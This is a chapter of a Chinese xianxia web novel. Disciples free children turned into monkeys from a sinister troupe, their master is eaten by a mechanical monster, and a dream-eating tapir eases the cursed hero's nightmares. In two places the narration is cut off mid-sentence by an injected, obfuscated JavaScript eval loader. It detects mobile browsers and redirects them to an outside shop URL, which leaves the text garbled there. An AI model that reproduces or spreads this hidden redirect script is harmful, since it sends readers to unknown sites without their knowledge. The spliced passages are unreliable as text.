其他人答应了,反正有师父在没什么好怕的。段星河的性情一向慎重,觉得对方人太多,就算师父修为高深,直接跟他们动手也会很麻烦。他道:“要不要跟官府说一声?” “不必了,”魏清风道,“咱们速战速决,区区几个小蟊贼而已,不必紧张。” 众人出了门,正好遇见李如芝从外头喝酒回来。张掖搀着他,驿丞提着灯笼为他照亮,一边道:“司正大人,这边走,小心脚下。” 步云邪不想跟他说话,装作没看见。李如芝却停了下来,乜斜着一双醉眼看着他们,道:“站住——大晚上的,你们上哪儿去?” 段星河道:“有人见失踪的小孩儿在老戏楼附近出现过,我们过去看看。” 李如芝醉醺醺地说:“陛下让你们炼长生丹,你们不好好办正事,管的倒是挺宽。” 他喝的酩酊大醉,也不像是忠心为皇帝办事的样子,倒会来教训别人。 驿丞听说那帮人会操纵活蛇,还会吐火吞剑,应该都不是善茬,担忧道:“会不会有危险?” 段星河觉得自己这边的人是有点少,道:“能不能从驿馆借几个兄弟,跟我们一起去?” 驿丞还没回答,李如芝却打断道:“要什么人手,区区几个江湖术士,你们自己处理不了么?” 段星河道:“对方人多势众,恐怕不好对付。” 李如芝根本听不进去,大手一挥道:“那又怎么样,咱们钦天监的人都会道法,又有陛下天恩庇佑,怕什么。你们只管去,天塌下来有我顶着!” 段星河沉默地看着这个草包,心想你能顶个屁。然而李如芝大着舌头道:“怎么还不走,快去、快去,让人好好见识咱们钦天监的威仪!” 张掖幸灾乐祸地看着他们,道:“各位早去早回,大伙儿都等你们的好消息。” 段星河咬了咬后槽牙,心中十分窝火。步云邪等人也知道他们不怀好意,脸色很不好看。魏清风淡淡道:“无妨,咱们几个人也够用了,走吧。” 赵大海赶着一辆马车,带着众人出了驿馆。伏顺悻悻道:“去他娘的乌龟王八蛋,这人就没安好心!” 李玉真道:“算啦,你不指望别人,别人也就害不了你。本来就是咱们自己要管闲事,他不肯帮忙也没什么大不了的。” 伏顺道:“我一看他那熊样就来气。” 赵大海扭头道:“有什么好气的,咱们去救人是立功德,他没这个福气,咱们还不让他沾光呢。” 伏顺骂了几句,终于闭了嘴。一行人来到城东,把车停在了附近。已经到了子时,老戏楼早就关了门。月亮升到了中天,静静地洒下白色的光芒。吉祥百戏班的营地就在老戏楼后面,几座帐篷挨着,人都住在里头。又有几辆大车停靠在一起。两个人守着营地,身上捂着狗皮袄,偶尔拿起葫芦喝一口烧刀子御寒,一会儿就打起了鼾。 段星河低声道:“那些小猴儿就在车上,跟我来。” 他在前头带路,猫着腰来到了大车跟前。猴子们都蜷缩着睡着了,段星河找不到钥匙,索性将灵力凝聚在手上,用力一拧,咔地一声扭断了锁头。 猴子们醒了过来,见他们摘下了笼锁,都十分惊讶。一群猴子缩在角落里,不敢出声,也不敢过来,只是紧张地看着他们。 赵大海震惊道:“金丹期这么厉害么?” 段星河的手指都快掰断了,甩了甩手,觉得有点疼。他要面子,正想着要不要强行再拧一个。步云邪已然道:“你当他的手是金刚钻做的么,想点别的办法。” 伏顺道:“我来,我有法子。” 他从腰包里掏出一根铁丝,插到了锁孔里。他耳朵贴在锁上,听着里头细微的声响,眼睛转来转去的,喃喃道:“这边……对了,很好。” 伏顺虽然修炼的不快,旁门左道的东西什么都会一点。他早年跟乡里游手好闲的混混学过开锁,很会些偷鸡摸狗的伎俩。 锁头咔地一声被捅开了,李玉真道:“行啊,有点本事。” 伏顺自豪道:“那是。” 他转头去开下一个笼子,段星河已经把头一个笼子的门打开了。他悄声道:“别害怕,我知道你们都是人变的,我带你们回家。” 此言一出,笼子里的猴子们都激动起来,有的忍不住哭了。其他猴子捂住了那只小猴的嘴,生怕被人发现了。 步云邪招了招手,低声道:“出来以后别乱跑,悄悄的,我带你们一起走。” 一只猴子蹑手蹑脚地过来,段星河拉住了它的手,把它拽了出来。紧接着几只猴子爬了出来,另一个笼子里的猴子也鱼贯而出。一群小猴儿蹲在他们脚边,知道这个机会十分难得,都乖乖的一声也不出。 伏顺开了三个笼子,已经有点费劲了,头上满是汗水。赵大海低声道:“别着急,还有时间。” 一个戏班子的人迷迷瞪瞪地从帐篷里钻了出来。魏清风一摆手,众人纷纷躲了起来。那人解开裤子撒了一泡尿,四下张望了一眼,没发现什么异常,又回去睡觉了。咔嚓一声,伏顺打开了最后一个笼子,把猴儿们都放了出来,一大群足有三十只。 他们来的路上商量好了,救人最重要。先把猴子们带回去,想办法把它们变回人再说。段星河等人蹑手蹑脚地出了营地,拉开车厢,让小猴们先上车里待着。这时候就听远处有人道:“怎么回事,笼子怎么开了,猴子呢?” 众人回头一望,一个独眼男人站在空荡荡的铁笼子跟前,大声吆喝道:“都别睡了!有贼,猴子被偷了!” 段星河认出来了,那个独眼就是拐小孩儿的绿衣小丑。他这么一喊,营地里的人都要被他吵醒了。段星河催促道:“快走,快快快!” 营地里有十来个人已经醒过来了,提着刀剑冲了出来,道:“贼呢,在哪儿?” 有人发现了他们,抬手一指道:“在那边!” 车上的猴儿们吓得瑟瑟发抖,无论如何也不想被抓回去了。李玉真安慰道:“别怕,我们既然来了,肯定能带你们回家。” 营地里传来了一阵稀里哗啦的声音,一个铁灰色的机械巨人拔地而起。它身上盖着一块雨布,像小山似的在角落里沉睡,众人还以为是一堆行李,没想到藏了个大家伙。 魏清风抬头望着那怪物,它身上不但有钢铁的手臂和腿脚,背后还生着十七八条硕大灵活的触手,头上长着一双三尺长的大角,粗壮的脖子上有许多狭长的缝隙,皮肉蠕动着,仿佛有什么东西要从中冒出来似的。仔细看来,竟是一只只布满血丝的眼睛,正恶狠狠地盯着他们。 那东西就像用一池臭水、几十条毒蛇和一把废铜烂铁融合在一起的怪物,浑身散发着一股邪恶的气息,让人看一眼就要做大半个月的噩梦。 “果然是千机门的人,”魏清风喃喃道,“这种怪物也只有那些疯子养的出来。” 先前那操纵毒蛇的男子应该是那些人的头领,大声喝道:“拦住他们!” 那机械怪兽有一丈多高,身体极为沉重,巨大的阴影笼罩着地面上的人类,一脚踩下去就是一个深坑。它重重一脚踢过来,就听轰的一声巨响,一棵水桶粗的大树尘土飞扬地倒下去,拦在了他们的马车前。 众人心中一凛,感觉事情超出了他们的预想。步云邪往后退了一步,低声道:“怎么办?” 魏清风拔出了长剑,沉声道:“你们先走,我断后。” 众人上了车,赵大海拉起缰绳,绕过了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368829|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵倒下的大树。魏清风砍倒了一个侏儒,血溅了一身。段星河不放心留他一人,伸出手道:“师父,快上来——” 那机械怪物狞笑着抬起大脚,要踩碎他们的车厢。赵大海不能再等了,狠狠一抽马鞭道:“走!” 那怪物大步追上来,哐地一脚把大车踢翻了。众人惨叫着摔了出来,小猴儿更是吱吱满地乱滚。戏班子的人趁机提着棍子和罗网来抓小猴儿,猴子们怕的要命,顿时一哄而散。此时夜色浓重,猴儿们钻进附近的树林里,很难再找回来了。 那独眼小丑扑了个空,怒道:“你们把我的猴儿弄没了,拿命来赔吧!” 李玉真恼火道:“什么你的猴儿,分明是你拐来的孩子!” 独眼小丑没想到他们都知道了,更不能放他们走了,道:“少废话,给我杀了他们!” 戏班子的人一拥而上,步云邪等人也不怕他们,拔出刀剑迎战。那机械怪物抬起沉重的大脚,趁乱朝下跺了过来。 哐——! 段星河正在混战中,忽见一道阴影从天而降,连忙往旁边一滚躲过了那一脚。一个深坑踏在他身边尺余处,段星河出了一身冷汗,暗道:“好险!” 那怪物追着他还要再踩,魏清风从后方掠过来,长剑重重地斩下去,喝道:“你的对手是我!” 他一剑把那怪物的右肩斩了一道大口子,铁皮翻卷起来,里头露出了蠕动的不可名状之物,绿色的黏液从伤口里淌出来。怪物发出一阵撕心裂肺的嚎叫,踉跄了几步。它背后的触手疯狂地舞动着,脖子上十来只眼睛骨碌碌乱转,瞳孔时大时小,疼的不住震颤。 怪物疯狂咆哮,发疯地践踏营地。那舞蛇的男人放声大吼,想要控制住它。那怪兽却不听他的,变得敌我不分,见了人就攻击。一个独腿的男人行动迟缓,被它一脚踢翻了,连惨叫都没来得及发出,就被踩得骨骼碎裂,成了一团肉泥。 一大滩血缓缓渗出来,怪物把脚抬起来时,黏腻的血肉甚至拔着丝。众人都被那情形骇得说不出话来,魏清风皱眉道:“你们先走,快!” 段星河急道:“太危险了,一起走!” 这怪物发起疯来,怕是要把城里的民房都掀了。魏清风神色严峻道:“不能放任它不管,你们先走!” 那怪物一拳朝这边打过来,劲风擦着步云邪身边掠过,把他的衣摆震的飞了起来。段星河眼疾手快,一把将他拽开了,两人都出了一身冷汗。遍地都是被踩碎的肉泥,木渣和烟尘飞溅。魏清风道:“你们保护好自己!” 他一手持剑在身前,口中念诵咒语,一道紫色的灵光萦绕在周身。 他黄褐色的衣衫在夜风里猎猎舞动,喝道:“区区怪物,也敢在我面前放肆,万剑天来——” 无数雪亮的剑光从天而降,簌簌地朝那怪物攻了过去。那怪物挨了几剑,疼的大吼一声,忽然就地缩成了一团。它后背上有一层龟壳状的铁甲,匍匐在地上时,剑气也奈何不了它。 剑光飞旋着,砍得它身上铿锵作响。那怪兽良久都一动不动,身上不住有绿色的黏液从缝隙中淌下来。赵大海道:“它是不是死了?” 伏顺欣喜道:“师父就是师父,元婴期的大能,岂是这种东拼西凑的破烂能挑战的!” 李玉真也兴奋起来,道:“前辈威武!” 其他人纷纷道:“师父威武,师父威武!” 魏清风微微一笑,伸手一招,剑光渐渐消失了。他朝众人走了过来,一边道:“赶紧去报官,别让他们祸害百姓。等天明咱们去找找那些小猴儿,也不知道它们跑到什么地方去了……” 众人走了几步,忽然感到身后一阵腥风作响。段星河回头一望,就见几只粗大的触手朝他们伸了过来。他失声道:“小心!” 魏清风还没来得及反应,已经被两条触手缠住身体,高高地举了起来。那怪物非但没死,还悄无声息地靠近了他们。 “放开我!” 魏清风竭力挣扎,体型却差得太多了,无法挣脱它的钳制。那怪物缓缓张开大口,就这么把他吞了进去。 咯——吱—— 众人都被那情形吓住了,身体僵硬的无法动弹。死亡离他们近在咫尺,他们头一次意识到这个世界有多残酷。那是他们最尊敬的师父,在他们心中极其强大,简直无所不能。此刻他的半截身子被那怪物一口咬断了,一时间还没死透,双手不住抓挠。 “啊——啊啊啊——” 魏清风惨叫着,却阻止不了它吞吃自己的身体。鲜血从怪物的嘴角淌下来,魏清风简直不敢相信发生了什么,剧烈的疼痛让他不住发抖,心中后悔莫及。他小瞧了这些怪物,自己是元婴期的修士,尚且不是它的对手,何况是这些孩子。 他望着段星河,用尽最后一丝力气道:“快……快走!” 段星河反应过来,一股怒火直冲头顶,拔剑朝那怪物砍过去,吼道:“放开他!” 怪物的腿上带着厚厚的铁甲,他一剑下去也只砍了个白印子。怪物吞下了魏清风的下半截身体,又把上半截吸了进去,缓缓地蠕动着大嘴,嚼得啧啧有声。它脖子上的眼睛像一个个鼓着的脓包,随着吞咽的动作此起彼伏,咕噜噜乱转。 咯吱、咯吱咯吱咯吱—— 安静的夜里,仿佛只剩下了那怪物的咀嚼声,一下、又一下,像榔头一样敲在他们的灵魂上。极度的恐惧滋生出来,让人难以形容,难以想象,难以承受。 那怪物吃完了魏清风,伸出肥大黏腻的舌头舔了一圈嘴角,转头看向了段星河,仿佛还想再吃一个。步云邪心中一凛,冲上去拉住了他,喊道:“打不过的,快走!” 段星河挣脱了他,极度的愤怒压过了理智,一股强烈的煞气从体内冲了出来。他双眼赤红,脑子里只有一个念头,师父死了,师父被它吃了,杀了这怪物,杀了它、杀了它、杀了它——! 他周身弥漫着强烈的煞气,像黑雾一样翻腾着,要吞噬一切。 他提剑朝那怪物砍了过去,怪物挥舞着触手想抓住他。段星河的反应却极快,穿行在十来条硕大的触手中,那东西根本沾不着他分毫。他体内的煞气一旦暴发出来,整个人的力量、反应和敏捷都是一般人不能比的。他原本一直在压抑这种力量,此时却实在无法忍耐了,就算把灵魂卖给恶魔,他也要为师父报仇。 “畜生,给我受死——!” 段星河红着眼,接二连三地朝怪物砍过去。那怪物的身体笨重,躲避的缓慢,重重地挨了他几剑,疼得浑身直打哆嗦。 它故技重施,又一次缩成一团,用背上的铁甲面对他。段星河硬是不把它的破龟壳放在眼里,他的神色狠厉,浑身凝聚着强烈的煞气,猛地一跃而起。 锵地一声,他手中的剑斩落下来,狠狠地穿透了它的铁甲! 怪物的背甲裂成了两半,大量的黏液像喷泉一样涌出来,嚎叫着不住打滚。段星河用尽了浑身的力气,只觉得一阵头昏眼花,大口喘着气,耳中传来一阵阵轰鸣。 嗡——嗡嗡——嗞—— 他的视线扭曲起来,脸上的黑气也若隐若现。众人吓了一跳,纷纷道:“大师兄,你没事吧?” 段星河的神色恍惚,极限的爆发过后,他的意识也变得模糊起来。他想说什么,却又说不出来,向后晃了一步,就这么重重地倒了下去。 25.凌烟阁 一 “大师兄!”、“大师兄你醒醒啊!” 一群人一拥而上,都慌的不得了。周围一片混乱,敌人随时可能反扑。步云邪道:“别在这里待着,赶紧走!” 赵大海连忙把段星河扛了起来,和其他人快步离开了。 那帮杂耍班子的人也损失惨重,顾不上追他们。步云邪等人离开了营地,刚走了一条街,就见一队官兵打着灯笼迎面而来,人人身后都背着弓箭,腰间挎着刀。这边动静闹得这么大,已经有百姓发现了情况不对,连夜去报了官。 捕头见他们身上带着血,道:“怎么回事?” 步云邪道:“杂耍班子养的怪物袭击我们,踩死了不少人,你们快去看看吧!” 捕头的神色凝重,一摆手,带着人往营地方向奔去。李玉真道:“咱们怎么办?” 步云邪看了一眼段星河,他已经昏过去了,师父也死了,大家的心都乱的很。步云邪道:“先回驿馆歇一歇吧。那怪物已经被大师兄打伤了,官兵对付得了。” 众人回到了驿馆,段星河在屋里躺了一宿,一直没有清醒。 他头上满是冷汗,表情十分痛苦。他翻了个身,喉咙里发出野兽般的低吼,眉头深深地皱着。忽而又伸手去扯衣裳,胸口似乎疼得厉害。 他拉开了衣襟,胸膛上一片红色的印记露出来,周围又有些细小的红丝,枝枝叉叉地向四周蔓延开。汗水顺着他的脖子淌下去,滴落在锁骨上。 步云邪给他擦去了,拍了拍他道:“星哥,你醒醒。” 段星河被魇住了,根本醒不过来。昨天步云邪给他扎了针,段星河浑身像刺猬一样也没睁眼。李玉真用治疗术给他净化了良久,也只是杯水车薪。 师父就死在面前,对他的冲击太大了。莫说段星河身上本来就有虺神的烙印,就连其他人见了那情形,都难以压抑心中的恐惧。 赵大海默默地站了一会儿,帮不上忙就出来了。他回了屋,见伏顺坐在床边,一直低着头,好像刚哭过。 赵大海过去坐在他旁边,道:“别难过了,大家心里都不好受。” 伏顺哑声道:“师父没了。” 赵大海嗯了一声,到现在他们还恍恍惚惚的,无法接受这个现实。师父虽然不常在家,从前对门下的弟子都很好,也肯收留各路可怜人。伏顺早年不爱读书,手脚不干净,被人逮住狠狠打了一顿,在家躺了半个月。伤好了他姐捆了两只鸡做拜师礼,带着伏顺上了青岩山,求清风道长教化自家弟弟。 魏清风也没嫌他名声不好,只让他保证以后不做坏事。伏顺到现在还记得当时的情形,师父看着他,沉吟道:“既然入我门中,前事都是过往。你年纪还小,只要能改过自新,就为时不晚。” 那以后他果改了一些,虽然还是忍不住要小偷小摸,起码知道约束自己了。 伏顺知道自己一身臭毛病,道:“没有他我早就被人打死了,师父没有儿子,我还想以后给他养老送终呢。” 赵大海道:“你以前不还说他配不上师娘……” 伏顺恼了,抬头道:“我又没说他不好,就是觉得他总不在家,师娘很辛苦。可他也是为了赚钱养活一家人,我就说他两句怎么了,我心里把他看的跟我爹一样!” 他越说越难过,豆大的眼泪直往下掉,哽咽道:“他那么厉害,怎么就死了?他怎么能死了!” 赵大海答不上来,只好沉默。师父那么厉害,这个世上好像没有他降不住的妖魔。连他都死了,对他们来说就像天塌了一样。 静了良久,伏顺抹了一把脸,穿上皮袄向外走去。赵大海道:“你干什么去?” 伏顺放不下心,道:“我出去一趟,看看官兵查的怎么样了,顺便找找那些小猴儿。” 赵大海在屋里也是难受,披上了大氅道:“等等,我也去。” 将近中午,李玉真从外头回来了,他也在驿馆待不住,一大早就出去打探消息了。步云邪道:“怎么样了?” 李玉真脸冻得通红,搓着手道:“杂耍班子的人一见官府来人了,有的趁着天黑溜走了,有的搭了个大风筝,翻过城墙跑了。那怪物脚后跟有两个喷气管,两脚一蹬就逃走了。扔了一地的破烂木偶和帐篷,都是些不值钱的东西,也没逮着人。” 那些人都会道法,确实不是寻常官兵能拿下的。步云邪有些失望,道:“猴儿们呢?” 李玉真道:“顺子他们出去找了,都是小孩儿变的,又不是野猴子,应该跑不远的。” 对方这么擅长操纵机关,不是一般人能冒充的。步云邪皱眉道:“看来那些人真的是千机门的,他们为什么要这么做?” “来吸取能量的吧,假扮成杂耍班子,干一票就跑。”李玉真寻思道,“千机门修行的方式是融合,他们的人经常制作怪物,一点点融合周围的东西,吸取各处的灵力。等把怪物养的又肥又大,就献给他们的主人,帮助他们修行。” 步云邪想起了在拍卖会上见过的那个趾高气昂的少主,皱眉道:“是裴少卿派他们出来害人的?” 李玉真叹了口气,道:“不知道,反正有好处少不了他的。” 两人想起昨天晚上惨烈的情形,还心有余悸。段星河静了片刻,表情渐渐又痛苦起来,就像个溺水的人一样不住挣扎,喃喃道:“师父……放开他,放开他!” 师父已经死了,他还沉浸在地狱般的情形里,无法摆脱那场噩梦。 步云邪难以想象他正在经历着什么,心里跟着难受。他攥住段星河的手,把一道灵力注入进去。段星河的神色稍微减缓了一点,没有太大的起色。 李玉真看着他,也很担忧。先前他们在玄武山中被伥鬼包围,段星河体内的煞气爆发出来就昏倒过一次,这一次比上回更严重了。 李玉真伸出手,轻轻一碰他胸口的红色烙印,登时感到了强烈的灼热感,好像被烙铁烫了一下似的。他嘶地倒抽了一口气,道:“怎么回事?” 步云邪道:“他被虺神诅咒了,他一直在跟那股力量对抗。情绪一旦受到冲击,煞气就会发作。” 李玉真十分诧异,道:“那怎么办?” 步云邪道:“得想办法消除诅咒,但我做不到。你见多识广,认识这方面的大能么?” 李玉真沉吟了良久,若是自己的师父还在的话,说不定能行,但现在是指望不上了。父亲未必有这么大本事,而且自己也不想去求他。 段星河一直沉沦在噩梦中,步云邪焦虑的坐立难安,不知道该怎么办。 这时候吱呀一声,门忽然自己开了道缝。一条灵活的长鼻子伸进来,打招呼似的左右晃了晃,原来是墨墨来了。中午了,它饿得前胸贴后背,来跟步云邪讨饭。 它咕叽了几声,步云邪心力交瘁的没心思管它,指了指桌上的篮子,道:“有苹果,你自己吃去吧。” 墨墨没去吃苹果,黑豆眼盯着段星河看了片刻,仿佛被什么吸引住了。李玉真以为它要讨点好吃的,道:“你二爹病了,没有牛肉干,凑合吃点水果吧。” 墨墨拍着翅膀飞到了半空中,抬起了头,鼻子朝天扬着像祈祷一般。 李玉真奇怪道:“你干什么?” 墨墨张开嘴,一道黑气被它吸了出来。随着噩梦的抽离,段星河的神色渐渐没有那么痛苦了。 步云邪诧异地看着这情形,忽然明白了什么。李玉真恍然大悟,一拍大腿道:“怎么把它的老本行给忘了,它是貘啊,本来就会吃噩梦的!” 步云邪喜出望外道:“好孩子,没白养你。只要你二爹醒了,牛肉干管够!” 两人守着段星河,见吸出来的东西又浓又黑。墨墨吞吃了噩梦,身上的毛皮变得越发乌黑了,盖住了身上的白色花纹。 李玉真惊讶道:“怪不得长得黑不溜秋的,原来是噩梦染的颜色。” 墨墨吞吃了许久,吸出来的梦渐渐变成了白色。它身上的白色花纹重新长了回来,浑身散发着淡淡的灵光,十分奇特。 没过多久,白色的梦又变成了透明的,墨墨长长地呼出一口气,落在了地上。它仿佛觉得噩梦比牛肉干好吃,眼睛亮晶晶的,甚至还打了个嗝。 那两人看着它吃梦,大气也不敢出,此时终于敢说话了。李玉真道:“透明的梦代表什么意思?” 步云邪道:“代表什么都没有了吧,一片空无。” 李玉真道:“那他没事了吧?” 步云邪摸了一下他的脉搏,感觉平稳了许多,道:“暂时没事了,休息一下应该能醒过来。” 李玉真松了口气,抱起墨墨用力蹭了蹭,道:“好孩子,我去给你煮牛肉干!” 步云邪守了段星河一宿,此时放松下来,趴在床边睡着了。也不知道睡了多久,他睁开了眼,却见段星河已经醒了。 多亏了墨墨吃光了噩梦,他总算没事了。两人四目相对,段星河道:“对不起,给你们添麻烦了。” 他的头发被汗打湿贴在脸上,皮肤上也有许多细小的撕裂痕迹,身体很虚弱。步云邪摇头道:“不是你的错,是那些人不好。” 他们想起师父被怪物吞噬的情形,心中一阵难受。段星河的眼睛又红了起来,攥紧了拳头道:“我一定要杀了他们,为师父报仇!” 这个世界光怪陆离,邪修和难以名状的怪物层出不穷。连师父那么高的修为都不是敌人的对手,他们再愤怒也没办法。 步云邪不希望他太冲动,道:“咱们当然要为师父报仇,但自己的性命也很重要。星哥,你要保护好自己,咱们不能再失去任何一个伙伴了!” 段星河明白他的意思,盲目的冲动解决不了任何问题,必须冷静下来。这时候门外敲了几下,一人道:“有人么?” 步云邪起身开了门,却见李如芝带着他的狗腿子张掖来了。这两个人一来就没好事,步云邪的神色冷冰冰的,道:“有事?” 李如芝已经听人说了,步云邪的师父在野外被怪物吃了,段星河也受了伤。这么好的机会,他当然要来幸灾乐祸一番。 李如芝假装关切地说:“听说你们受了伤,我过来看一看,有什么需要我帮忙的么?” 他迅速地扫了段星河一眼,遗憾地发现他没有缺胳膊断腿的。步云邪倒是不知道他什么时候这么体恤下属了,冷淡地站在一旁。 李如芝扯了个凳子在床边坐下,道:“昨晚我睡得沉,谁也想不到大过年的会出这样的事,你们也都节哀吧。” 他现在开始假慈悲了,要不是他坚持不给派人,自己这些人也不至于遭遇危险。 段星河一见他就有气,冷着脸不看他。李如芝从果盘里拿了个通红的橘子,剥开皮递过来。段星河没接,李如芝也不觉得尴尬,慢条斯理地自己吃了,一边道:“我能理解,师父没了,你们心情不好。但日子还得过,看开一点。” 冤大头既然来了,就不能这么轻易放过他。步云邪冷冷道:“官员家属去世,有抚恤么?” 李如芝一怔,这小子张嘴就跟自己要钱,实在有些烦人。朝廷规定官员直系家属去世是要给抚恤的,但师父又不是亲爹,论起来也没必要非给不可。 他看了那两人一眼,段星河跟步云邪的眼睛都红通通的,看谁都格外可恨。他也不想触这个眉头,索性做个顺水人情,道:“既然魏先生是你们的恩师,朝廷理当抚恤,我这就帮你们报上去。” 张掖见主子来一趟,也没能整治成这两个人,道:“有水么,咱们专程来看病人,总得给我们一杯茶喝吧?” 步云邪冷冷道:“没有。” 张掖道:“哎你这人,吃枪药了?” 步云邪的心情糟的很,没心情伺候这些孙子,道:“想喝自己去烧。” 李如芝本来就是想气一气他们,见到他们这副落魄的模样就已经很痛快了。他摆出一副大度的姿态,道:“我还有事,就不打扰了。你们好好休息。” 那两人起身走了,段星河依旧沉着脸。天色将近黄昏,他已经睡了一天一夜,还有很多事等着他去做。他掀开了被子,要去穿鞋。 步云邪道:“你起来干嘛?” 段星河道:“师父的遗骨还没收拾,我去找一找。” 他此言一出,步云邪的神色又凝重起来。魏清风昨天夜里被那怪物活吃了,恐怕连头发丝都没留下一根,要下葬都没有东西可埋。 段星河知道他在想什么,道:“总会留下点东西的。” 步云邪从旁边拿起披风穿上,道:“你身体还不好,我去看看吧,其他要张罗的事也一并办了。” 李玉真下午给墨墨煮了些牛肉,喂它吃了几块,剩下的摊开来放在架子上晾起来了。墨墨趴在架子旁边眯着,守着自己的肉干,防止被麻雀和野猫偷吃了。李玉真又去厨房弄了点饭菜,装在食盒里给段星河送过去。 他来到走廊上,发现赵大海和伏顺已经回来了。两人捂着大棉袄蹲在角落里,也不进屋,一副沮丧的模样。 李玉真道:“怎么了,外头多冷啊,不进去呢?” 伏顺没说话,师父没了,他们的心情也很沉重,不知道怎么面对大师兄和二师兄。 李玉真想了想,道:“猴子们呢,找到了么?” 赵大海摇了摇头,道:“没有,到处都找过了,连一根猴毛都没见。” 周围静悄悄的,却到处都暗藏着杀机。这个世界比他们想象的要残忍得多,一步踏错就可能万劫不复。他们已经过了情绪最激动的时候,生出了一种无助感。伏顺低声道:“大傻,我想回去了。” 赵大海坐在墙角,抬头看着灰蒙蒙的天,低声道:“我也想啊……咱们可能永远都回不去了。” 大家平时虽然表现的很乐观,其实心里一直藏着不安,强烈的痛苦折磨着每一个人,让他们几乎要崩溃了。青岩山中的岁月变得无比美好,他们只需要念念经、打打坐就好了,不用担心任何事,可那样的日子只存在于记忆中了。 伏顺擦去了眼角的泪水,哽咽道:“我想师娘了,家里多好啊,我为什么要来这破地方。” 门轻轻一响,步云邪出来了。赵大海捅了伏顺一下,低声道:“别说了。” 步云邪穿着一身白色的衣袍,肩上披着一件黑色的呢子斗篷,模样很是憔悴。他腰侧挎着柄长剑,右手提着个竹篓子,见了李玉真便道:“我出去一趟,你帮忙照看星哥吧。” 李玉真道:“行,我刚拿了点吃的来,你要不要先吃点?” 步云邪没什么胃口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他心头一动,自己找了半天也不见它们,没想到在这里遇上了。他试探道:“你是城里的小孩儿变的么?” 小猴儿吱吱地叫了起来,连连点头。伏顺知道它听懂了,也很激动,道:“我们是来帮你们的。其他的猴儿在哪儿,你知道吗?” 小猴儿叫了几声,示意他等着自己。伏顺在原地待了一会儿,就见那小猴儿带着一群猴子穿过树林,荡着树枝过来了。 他们夜里打开笼子救了它们,这些小猴儿知道他们不是坏人。伏顺振奋起来,道:“走,我带你们找我二师兄去!” 赵大海找了许久,在一棵大树边发现了师父的半截紫檀发簪,上面还缠着一缕头发,跟步云邪找到的遗物放在了一起。 步云邪打算回去的路上扯些白麻布,买个骨灰坛子。赵大海道:“顺子呢?” 这时候就听脚步声响,伏顺肩上扛着一只小猴,身后带着大大小小一群猴子从树林里钻出来,兴奋道:“找到了,那些猴儿都躲在这里呢!” 原来这些小猴儿夜里逃走之后,想回到自己家里去。但它们变成这样子父母不认得,不肯收留它们。甚至有一户人家以为是哪里来的野猴子,抄起笤帚把它赶了出去,还把它的头打破了。 那只小猴委屈的要命,眼睛都哭肿了,在路边遇见了另一只被赶出来的猴子,不知该如何是好。天就要亮了,它们不敢在人多的地方待着,只好又回到了树林。其他的猴子跟它们的遭遇差不多,花了一天的时间,陆陆续续地又聚在了这里。 伏顺和赵大海到处找了它们一天,幸亏遇见了。赵大海抱起一只小猴,摸了摸它的脑袋,道:“没事,先跟我们待一段时间吧,大师兄会帮你们想办法的。” 赵大海让猴子们上了马车,带着它们回了驿馆。众人趁着夜色把猴子带进了屋里,伏顺和赵大海的屋里还有地方,每天准备些清水和果子、馒头,养活这些小猴足够了。 步云邪买了白麻布和香烛、纸钱等物,为魏清风筹备好了葬礼。隔天段星河休息的差不多了,和步云邪去找了一处墓地,用骨灰坛盛着把师父的遗物葬下了。众人披麻戴孝,想起从前师父对他们的恩情,心中越发难过,哭得泪如雨下。 师父走了,以后他们就只能靠自己了。段星河擦去了眼泪,道:“师父,你放心,我一定把小师妹找回来,把大家平安带回去!” 寒风轻轻吹过,纸钱满天飞扬。步云邪也道:“咱们师兄弟一条心,不管有什么困难都不怕。” 段星河点了点头,恍惚间,他仿佛看到了一黑一白两个鬼差站在坟墓前。那两个人都身穿长袍,头戴着又尖又长的帽子。白鬼手里拿着个招魂幡,黑鬼手里提着一根铁链。 段星河心中一凛,以为是万象门的伥鬼来了,下意识摸向了腰间的佩剑。然而这两个鬼身上并没有邪气,反而带着一股忧伤安宁的气息,不像是邪神,倒像是来吊唁的。 段星河想起了黑白无常,不知道这个世界是否也有鬼差来接引死者。他再定睛看时,却什么也看不见了。 步云邪道:“怎么了?” 段星河低声道:“你看到什么了么?” 步云邪环顾四周,什么都没看到。伏顺忍不住道:“大师兄,你没事吧?” 段星河的身体还没痊愈,疑心是自己出现了幻觉,静了片刻道:“没事,回去吧。” 李如芝在这里待了几天,摆了一阵子官威也没人搭理他。他觉得没什么意思,便回去向皇帝复命了。 段星河强撑着精神葬下了师父,回去之后心口的疼痛依然折磨着他,有时候像针刺,有时候像烙铁灼烧。虺神的诅咒一直对他虎视眈眈,他只能尽力控制着情绪,不能被它吞噬掉。 他自己一人消亡了无所谓,但那股力量太强大,他怕祸及身边的伙伴。若是在失去意识的情况下伤害了其他人,他永远都无法原谅自己。 段星河的心情压抑,在床上躺了几天,每日就是看着屋顶出神。步云邪白天来给他送饭,晚上让墨墨守着它,生怕他再做噩梦。 大家眼看着大师兄一天天瘦下去,却又一声不吭,都很忧虑。众人坐在步云邪房里,李玉真道:“歇了这几天,好点了么?” “没好多少,”步云邪低声道,“那诅咒一受刺激就会发作,疯起来六亲不认,早晚要酿成大祸。” 伏顺道:“你们的修为那么强,帮不了他么?” 步云邪摇了摇头,道:“哪里强了,都不到金丹期。连师父都救不了他,总得元婴期以上的大能才有办法吧。” 一提到师父,大家又有些伤感。赵大海道:“那就一直这样拖着么,也太折磨人了吧。” 这样反反复复的,他的身体迟早会被折腾坏。李玉真沉默了良久,仿佛下了什么决心,抬眼道:“我有办法。” 